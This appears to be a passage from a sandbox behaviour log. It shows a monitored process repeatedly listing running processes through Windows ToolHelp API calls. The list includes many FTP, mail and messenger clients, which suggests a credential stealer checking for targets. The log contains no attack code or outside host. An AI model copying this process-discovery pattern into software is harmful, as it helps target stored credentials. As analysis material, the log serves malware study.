hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0268.125] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0268.128] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.130] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0268.135] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.138] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0268.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0268.143] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0268.145] CloseHandle (hObject=0x2200) returned 1 [0268.145] Sleep (dwMilliseconds=0x64) [0268.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0268.180] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.183] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.185] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.190] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.193] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.195] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.197] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.200] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.202] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.205] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.207] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.214] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.216] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.218] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.221] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.223] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.228] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.239] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.273] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.276] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.278] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0268.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.283] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.285] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.288] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.293] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.295] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0268.297] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.300] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.302] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.305] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.307] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.312] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0268.432] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0268.437] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0268.439] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0268.442] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0268.445] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0268.447] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0268.450] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0268.453] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0268.456] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0268.458] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0268.461] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0268.463] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0268.466] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0268.468] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0268.472] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0268.474] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0268.477] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0268.479] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0268.482] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0268.485] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0268.487] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0268.491] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0268.496] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0268.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0268.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0268.538] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0268.541] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0268.545] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0268.548] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0268.551] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0268.555] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0268.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0268.562] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0268.565] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0268.567] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0268.571] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 